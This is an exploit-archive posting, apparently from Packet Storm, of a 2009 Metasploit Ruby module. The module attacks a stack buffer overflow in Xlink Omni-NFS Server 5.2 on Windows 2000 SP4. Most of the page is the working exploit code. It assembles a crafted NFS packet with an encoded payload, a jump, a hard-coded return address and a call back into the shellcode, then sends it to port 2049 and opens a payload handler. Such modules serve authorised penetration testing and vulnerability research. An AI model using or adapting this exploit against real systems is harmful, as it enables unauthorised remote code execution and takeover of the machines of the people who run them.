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Omni-NFS Server Buffer Overflow

Omni-NFS Server Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Xlink Omni-NFS Server 5.2 When sending a specially crafted nfs packet, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
SHA-256 | 1c376dcb3591087fbafb0edb1d01dfbc11efdd94ac4848d3ac72d3bc2e999c62

Omni-NFS Server Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Omni-NFS Server Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Xlink Omni-NFS Server 5.2
When sending a specially crafted nfs packet, an attacker may be able
to execute arbitrary code.
},
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '20941' ],
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 336,
'BadChars' => "\x00",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 06 2006'))

register_options([Opt::RPORT(2049)], self.class)

end

def exploit
connect

buff = payload.encoded
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
buff << [target.ret].pack('V')
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
buff << rand_text_english(251)

pkt = [1].pack('N')
pkt << [0].pack('N')
pkt << [2].pack('N')
pkt << [100005].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[0,400]
pkt << [1].pack('N')
pkt << [400].pack('N')
pkt << buff[300,400]

sploit = [pkt.length | 0x80000000].pack('N') + pkt

print_status("Trying target #{target.name}...")
sock.put(sploit)

handler
disconnect
end

end
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